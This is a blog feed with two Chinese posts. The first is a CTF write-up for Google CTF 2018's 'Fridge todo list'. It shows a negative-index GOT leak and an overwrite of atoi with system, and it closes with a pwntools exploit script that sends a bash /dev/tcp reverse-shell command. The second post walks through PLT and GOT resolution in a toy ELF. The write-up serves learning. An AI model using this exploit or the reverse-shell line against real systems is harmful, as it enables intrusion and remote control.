二进制 – 若水斋 https://blog.werner.wiki Try harder Sun, 12 Sep 2021 03:13:53 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 二进制 – 若水斋 https://blog.werner.wiki 32 32 CTF Pwn 题目 Fridge todo list 解题记录 https://blog.werner.wiki/fridge-todo-list-write-up/ https://blog.werner.wiki/fridge-todo-list-write-up/#respond Sun, 12 Sep 2021 03:13:53 +0000 https://blog.werner.wiki/?p=2239 这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

]]>
https://blog.werner.wiki/fridge-todo-list-write-up/feed/ 0
ELF 文件 PLT 和 GOT 静态分析 https://blog.werner.wiki/elf-plt-got-static-analysis/ https://blog.werner.wiki/elf-plt-got-static-analysis/#respond Sun, 05 Sep 2021 03:53:36 +0000 https://blog.werner.wiki/?p=2231 摘要

本文将对一个特意构造的、十分简单的、64 位的 ELF 文件的 PLT(Procedure Linkage Table)和 GOT(Global Offset Table)进行静态分析。目的是

  • 验证所学的关于 PLT 和 GOT 的相关知识
  • 加深对所学知识的理解和记忆
  • 记录分析时用到的命令以备忘

背景知识

关于什么是 PLT 和 GOT,可阅读海枫发表于 2016 年 6~7 月的系列文章

准备 ELF 文件

准备一个简单的 ELF 文件,源码如下所示

/* test.c */
#include <stdio.h>

int main() {
    int integer;
    printf("Enter an integer: ");
    scanf("%d", &integer);  
    printf("Number = %d\n", integer);
    return 0;
}

这段代码中 printf 和 scranf 这两个函数需要在运行时确定函数地址,即需用到 PLT 和 GOT。

用如下命令编译

gcc test.c -z norelro -fno-stack-protector -o test

简单起见,使用 gcc 选项 -z norelro 关闭了 RELRO,-fno-stack-protector 关闭了 CANNARY。

查看编译出的可执行文件

$ file test
test: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=779ce5dad37fc44d6106c16adae2c7557d775101, not stripped

试运行

$ ./test
Enter an integer: 1
Number = 1

查看 ELF 所有段

使用 readelf 命令可例出一个 ELF 文件的所有段。选项 --section-headers(可简写为 -S)的含义是 Display the sections' header--wide(可简写为 -W)的含义是 Allow output width to exceed 80 characters

$ readelf --section-headers --wide test
There are 30 section headers, starting at offset 0x1490:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000000200 000200 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            000000000000021c 00021c 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            000000000000023c 00023c 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000260 000260 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000280 000280 0000c0 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000000340 000340 00009d 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          00000000000003de 0003de 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000000003f0 0003f0 000030 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000420 000420 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            00000000000004e0 0004e0 000030 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000000510 000510 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000000530 000530 000030 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000000560 000560 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000000570 000570 0001d2 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000000744 000744 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000000750 000750 000027 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000000778 000778 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000000000007b8 0007b8 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      00000000002008c0 0008c0 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      00000000002008c8 0008c8 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         00000000002008d0 0008d0 0001f0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000200ac0 000ac0 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000200ae8 000ae8 000028 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000200b10 000b10 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000200b20 000b20 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 000b20 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 000b50 000618 18     28  44  8
  [28] .strtab           STRTAB          0000000000000000 001168 00021e 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 001386 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

其中与 PLT 和 GOT 有关的段是 .plt 和 .got.plt。下面我们将查看并分析这两个段的内容。此外还注意到 .dynamic 段的地址是 0x00000000002008d0,后文有相关内容。

.plt 段

PLT 中的每一项都是一小段代码,所以使用 objdump 命令查看 .plt 段的内容时添加反汇编参数。选项 --disassemble(可简写为 -d)的含义是 Display assembler contents of executable sections--full-contents(可简写为 -s)的含义是 Display the full contents of all sections requested--section(可简写为 -j)的含义是 Display information only for section name

$ objdump --disassemble --full-contents --section=.plt test

test:     file format elf64-x86-64

Contents of section .plt:
 0530 ff35ba05 2000ff25 bc052000 0f1f4000  .5.. ..%.. ...@.
 0540 ff25ba05 20006800 000000e9 e0ffffff  .%.. .h.........
 0550 ff25b205 20006801 000000e9 d0ffffff  .%.. .h.........

Disassembly of section .plt:

0000000000000530 <.plt>:
 530:   ff 35 ba 05 20 00       pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:   ff 25 bc 05 20 00       jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000000540 <printf@plt>:
 540:   ff 25 ba 05 20 00       jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:   68 00 00 00 00          pushq  $0x0
 54b:   e9 e0 ff ff ff          jmpq   530 <.plt>

0000000000000550 <__isoc99_scanf@plt>:
 550:   ff 25 b2 05 20 00       jmpq   *0x2005b2(%rip)        # 200b08 <__isoc99_scanf@GLIBC_2.7>
 556:   68 01 00 00 00          pushq  $0x1
 55b:   e9 d0 ff ff ff          jmpq   530 <.plt>

可以看到共有 3 个 PLT 表项,第 0 个表项(.plt)是共公 plt 表项,第 1 个表项(printf@plt)是 printf 函数对应的 PLT 表项,第 2 个表项(__isoc99_scanf@plt)是 scanf 函数对应的 PLT 表项。

.got.plt 段

GOT 的每一项都是一个地址,因此不用进行反汇编。同样使用 objdump 命令查看。

$ objdump --full-contents --section=.got.plt test

test:     file format elf64-x86-64

Contents of section .got.plt:
 200ae8 d0082000 00000000 00000000 00000000  .. .............
 200af8 00000000 00000000 46050000 00000000  ........F.......
 200b08 56050000 00000000                    V.......

64 位系统中地址长度是 64 比特,也就是 8 字节。按 8 字节一项并调整字节序后可得 GOT 的内容是

第几项 地址 内容 备注
0 0x200ae8 0x00000000002008d0 .dynamic 段地址
1 0x200af0 0x0000000000000000 本镜像的link_map数据结构地址,未运行无法确定,故以全 0 填充
2 0x200af8 0x0000000000000000 _dl_runtime_resolve 函数地址,未运行无法确定,故以全 0 填充
3 0x200b00 0x0000000000000546 printf 对应的 GOT 表项,内容是 printf 的 PLT 表项地址加 6
4 0x200b08 0x0000000000000556 scanf 对应的 GOT 表项,内容是 scanf 的 PLT 表项地址加 6

分析

以 printf 函数为例,分析 PLT 和 GOT 的工作过程。

反汇编 main 函数(以下命令输出删除了无关内容)

$ objdump --disassemble --full-contents --section=.text test

000000000000067a <main>:
 67a:   55                      push   %rbp
 67b:   48 89 e5                mov    %rsp,%rbp
 67e:   48 83 ec 10             sub    $0x10,%rsp
 682:   48 8d 3d cb 00 00 00    lea    0xcb(%rip),%rdi        # 754 <_IO_stdin_used+0x4>
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   e8 ad fe ff ff          callq  540 <printf@plt>
 693:   48 8d 45 fc             lea    -0x4(%rbp),%rax
 697:   48 89 c6                mov    %rax,%rsi
 69a:   48 8d 3d c6 00 00 00    lea    0xc6(%rip),%rdi        # 767 <_IO_stdin_used+0x17>
 6a1:   b8 00 00 00 00          mov    $0x0,%eax
 6a6:   e8 a5 fe ff ff          callq  550 <__isoc99_scanf@plt>
 6ab:   8b 45 fc                mov    -0x4(%rbp),%eax
 6ae:   89 c6                   mov    %eax,%esi
 6b0:   48 8d 3d b3 00 00 00    lea    0xb3(%rip),%rdi        # 76a <_IO_stdin_used+0x1a>
 6b7:   b8 00 00 00 00          mov    $0x0,%eax
 6bc:   e8 7f fe ff ff          callq  540 <printf@plt>
 6c1:   b8 00 00 00 00          mov    $0x0,%eax
 6c6:   c9                      leaveq 
 6c7:   c3                      retq   
 6c8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
 6cf:   00

看到 main 函数调用 printf 函数的指令是 callq 540,0x540 正是 printf 函数的 PLT 表项的地址。反汇编结果里的 <printf@plt> 也明确地指出了这一点。

0x540 地址开始的几条指令是

 540:    ff 25 ba 05 20 00        jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:    68 00 00 00 00           pushq  $0x0
 54b:    e9 e0 ff ff ff           jmpq   530 <.plt>

看到它跳转到了 0x2005ba(%rip) 指向的地址,0x2005ba(%rip) 的内容在反汇编结果的注释中给出了,是 0x200b00。0x200b00 正是 printf 函数的 GOT 表项的地址,其内容是 0x0000000000000546,这个地址实际上是 printf 的 PLT 表项地址加 6。可见 0x540 处的 jmpq 指令实际上跳到了 0x546 处,相当于没有跳转。0x546 处的 pushq 指令将 0x00 压栈,可以理解为接下来要调用的函数的参数。接着 0x54b 处的 jmpq 指令跳转到了 0x530 即 PLT 表的第 0 项。

0x530 地址开始的几条指令是

 530:    ff 35 ba 05 20 00        pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:    ff 25 bc 05 20 00        jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:    0f 1f 40 00              nopl   0x0(%rax)

先是把 0x200af0 即 GOT 表的第 1 项压栈,接着跳转到 0x200af8 即 GOT 表的第 2 项亦即 _dl_runtime_resolve 函数,解析 pritnf 函数真正的地址。之后会执行 pritnf,并将 pritnf 函数真正的地址写到 printf 对应的 GOT 表项中。这样下次调用 ptinf 函数时 0x540 处的 jmpq 指令会直接跳转到 pritnf 函数真正的地址,不用再调用 _dl_runtime_resolve。

]]>
https://blog.werner.wiki/elf-plt-got-static-analysis/feed/ 0